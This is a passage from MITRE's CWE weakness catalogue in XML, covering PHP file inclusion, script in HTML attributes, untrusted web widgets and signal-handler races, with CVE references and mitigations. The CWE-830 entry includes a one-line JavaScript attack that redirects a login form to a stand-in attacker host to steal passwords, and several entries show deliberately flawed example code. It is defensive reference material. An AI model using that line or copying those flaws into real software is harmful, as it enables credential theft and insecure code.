               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2198</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0128</Reference>
               <Description>Modification of assumed-immutable variable in configuration script leads to file inclusion.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0128</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1864</Reference>
               <Description>PHP file inclusion.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1864</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1869</Reference>
               <Description>PHP file inclusion.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1869</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1870</Reference>
               <Description>PHP file inclusion.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1870</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2154</Reference>
               <Description>PHP local file inclusion.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2154</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1704</Reference>
               <Description>PHP remote file include.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1704</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1707</Reference>
               <Description>PHP remote file include.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1707</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1964</Reference>
               <Description>PHP remote file include.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1964</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1681</Reference>
               <Description>PHP remote file include.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1681</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2086</Reference>
               <Description>PHP remote file include.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2086</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0127</Reference>
               <Description>Directory traversal vulnerability in PHP include statement.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0127</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1971</Reference>
               <Description>Directory traversal vulnerability in PHP include statement.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1971</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3335</Reference>
               <Description>PHP file inclusion issue, both remote and local; local include uses ".." and "%00" characters as a manipulation, but many remote file inclusion issues probably have this vector.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3335</Link>
            </Observed_Example>
         </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="175"/>
            <Related_Attack_Pattern CAPEC_ID="201"/>
            <Related_Attack_Pattern CAPEC_ID="228"/>
            <Related_Attack_Pattern CAPEC_ID="251"/>
            <Related_Attack_Pattern CAPEC_ID="252"/>
            <Related_Attack_Pattern CAPEC_ID="253"/>
            <Related_Attack_Pattern CAPEC_ID="263"/>
            <Related_Attack_Pattern CAPEC_ID="538"/>
            <Related_Attack_Pattern CAPEC_ID="549"/>
            <Related_Attack_Pattern CAPEC_ID="640"/>
            <Related_Attack_Pattern CAPEC_ID="660"/>
            <Related_Attack_Pattern CAPEC_ID="695"/>
            <Related_Attack_Pattern CAPEC_ID="698"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-45"/>
            <Reference External_Reference_ID="REF-76"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-11-29</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Observed_Examples, Potential_Mitigations, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="83" Name="Improper Neutralization of Script in Attributes in a Web Page" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product does not neutralize or incorrectly neutralizes "javascript:" or other URIs from dangerous attributes within tags, such as onmouseover, onload, onerror, or style.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="79" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-30.1">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>
                  <xhtml:p>Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.</xhtml:p>
                  <xhtml:p>The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-43">
               <Phase>Implementation</Phase>
               <Description>With Struts, write all data from form beans with the bean's filter attribute set to true.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-31">
               <Phase>Implementation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.</Description>
               <Effectiveness>Defense in Depth</Effectiveness>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2001-0520</Reference>
               <Description>Bypass filtering of SCRIPT tags using onload in BODY, href in A, BUTTON, INPUT, and others.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0520</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1493</Reference>
               <Description>guestbook XSS in STYLE or IMG SRC attributes.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1493</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1965</Reference>
               <Description>Javascript in onerror attribute of IMG tag.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1965</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1495</Reference>
               <Description>XSS in web-based email product via onmouseover event.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1495</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1681</Reference>
               <Description>XSS via script in &lt;P&gt; tag.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1681</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1935</Reference>
               <Description>Onload, onmouseover, and other events in an e-mail attachment.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1935</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0945</Reference>
               <Description>Onmouseover and onload events in img, link, and mail tags.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0945</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-1136</Reference>
               <Description>Javascript in onmouseover attribute in e-mail address or URL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1136</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>XSS using Script in Attributes</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="243"/>
            <Related_Attack_Pattern CAPEC_ID="244"/>
            <Related_Attack_Pattern CAPEC_ID="588"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Observed_Example, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">XSS using Script in Attributes</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Failure to Sanitize Script in Attributes in a Web Page</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="830" Name="Inclusion of Web Functionality from an Untrusted Source" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product includes web functionality (such as a web widget) from another domain, which causes it to operate within the domain of the product, potentially granting total access and control of the product to the untrusted source.</Description>
         <Extended_Description>
            <xhtml:p>Including third party functionality in a web-based environment is risky, especially if the source of the functionality is untrusted.</xhtml:p>
            <xhtml:p>Even if the third party is a trusted source, the product may still be exposed to attacks and malicious behavior if that trusted source is compromised, or if the code is modified in transmission from the third party to the product.</xhtml:p>
            <xhtml:p>This weakness is common in "mashup" development on the web, which may include source functionality from other domains. For example, Javascript-based web widgets may be inserted by using '&lt;SCRIPT SRC="http://other.domain.here"&gt;' tags, which causes the code to run in the domain of the product, not the remote site from which the widget was loaded. As a result, the included code has access to the local DOM, including cookies and other data that the developer might not want the remote site to be able to access.</xhtml:p>
            <xhtml:p>Such dependencies may be desirable, or even required, but sometimes programmers are not aware that a dependency exists.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="829" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-94">
               <Intro_Text>This login webpage includes a weather widget from an external website:</Intro_Text>
               <Example_Code Nature="Bad" Language="HTML">
                  <xhtml:div>&lt;div class="header"&gt; Welcome!<xhtml:div style="margin-left:1em;">&lt;div id="loginBox"&gt;Please Login:<xhtml:div style="margin-left:1em;">&lt;form id ="loginForm" name="loginForm" action="login.php" method="post"&gt;<xhtml:br/>Username: &lt;input type="text" name="username" /&gt;<xhtml:br/>&lt;br/&gt;<xhtml:br/>Password: &lt;input type="password" name="password" /&gt;<xhtml:br/>&lt;input type="submit" value="Login" /&gt;<xhtml:br/>&lt;/form&gt;</xhtml:div>&lt;/div&gt;<xhtml:br/>&lt;div id="WeatherWidget"&gt;<xhtml:div style="margin-left:1em;">&lt;script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"&gt;&lt;/script&gt;</xhtml:div>&lt;/div&gt;</xhtml:div>&lt;/div&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).</Body_Text>
               <Body_Text>For example, user login information could easily be stolen with a single line added to weatherwidget.js:</Body_Text>
               <Example_Code Nature="Attack" Language="JavaScript">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>...Weather widget code....</xhtml:i>
                     <xhtml:br/>document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";</xhtml:div>
               </Example_Code>
               <Body_Text>This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <References>
            <Reference External_Reference_ID="REF-778"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-12-08</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="831" Name="Signal Handler Function Associated with Multiple Signals" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product defines a function that is used as a handler for more than one signal.</Description>
         <Extended_Description>
            <xhtml:p>While sometimes intentional and safe, when the same function is used to handle multiple signals, a race condition could occur if the function uses any state outside of its local declaration, such as global variables or non-reentrant functions, or has any side effects.</xhtml:p>
            <xhtml:p>An attacker could send one signal that invokes the handler function; in many OSes, this will typically prevent the same signal from invoking the handler again, at least until the handler function has completed execution. However, the attacker could then send a different signal that is associated with the same handler function. This could interrupt the original handler function while it is still executing. If there is shared state, then the state could be corrupted. This can lead to a variety of potential consequences depending on context, including denial of service and code execution.</xhtml:p>
            <xhtml:p>Another rarely-explored possibility arises when the signal handler is only designed to be executed once (if at all). By sending multiple signals, an attacker could invoke the function more than once. This may generate extra, unintended side effects. A race condition might not even be necessary; the attacker could send one signal, wait until it is handled, then send the other signal.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="364" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Access Control</Scope>
               <Scope>Other</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Read Application Data</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Varies by Context</Impact>
               <Note>The most common consequence will be a corruption of the state of the product, possibly leading to a crash or exit. However, if the signal handler is operating on state variables for security relevant libraries or protection mechanisms, the consequences can be far more severe, including protection mechanism bypass, privilege escalation, or information exposure.</Note>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This code registers the same signal handler function with two different signals.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void handler (int sigNum) {<xhtml:div style="margin-left:1em;">...</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>int main (int argc, char* argv[]) {<xhtml:div style="margin-left:1em;">signal(SIGUSR1, handler)<xhtml:br/>signal(SIGUSR2, handler)</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-26">
               <Intro_Text>This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char *logMessage;<xhtml:br/>
                     <xhtml:br/>void handler (int sigNum) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>syslog(LOG_NOTICE, "%s\n", logMessage);<xhtml:br/>free(logMessage);<xhtml:br/>
                           <xhtml:i>/* artificially increase the size of the timing window to make demonstration of this weakness easier. */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>sleep(10);<xhtml:br/>exit(0);</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>int main (int argc, char* argv[]) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>logMessage = strdup(argv[1]);<xhtml:br/>
                           <xhtml:i>/* Register signal handlers. */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>signal(SIGHUP, handler);<xhtml:br/>signal(SIGTERM, handler);<xhtml:br/>
                           <xhtml:i>/* artificially increase the size of the timing window to make demonstration of this weakness easier. */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>sleep(10);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:</Body_Text>
               <Body_Text>
                  <xhtml:ul>
                     <xhtml:li>
                        <xhtml:div>The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>SIGHUP-handler begins to execute, calling syslog().</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>The attacker then sends SIGTERM.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>The SIGTERM handler is invoked.</xhtml:div>
                     </xhtml:li>
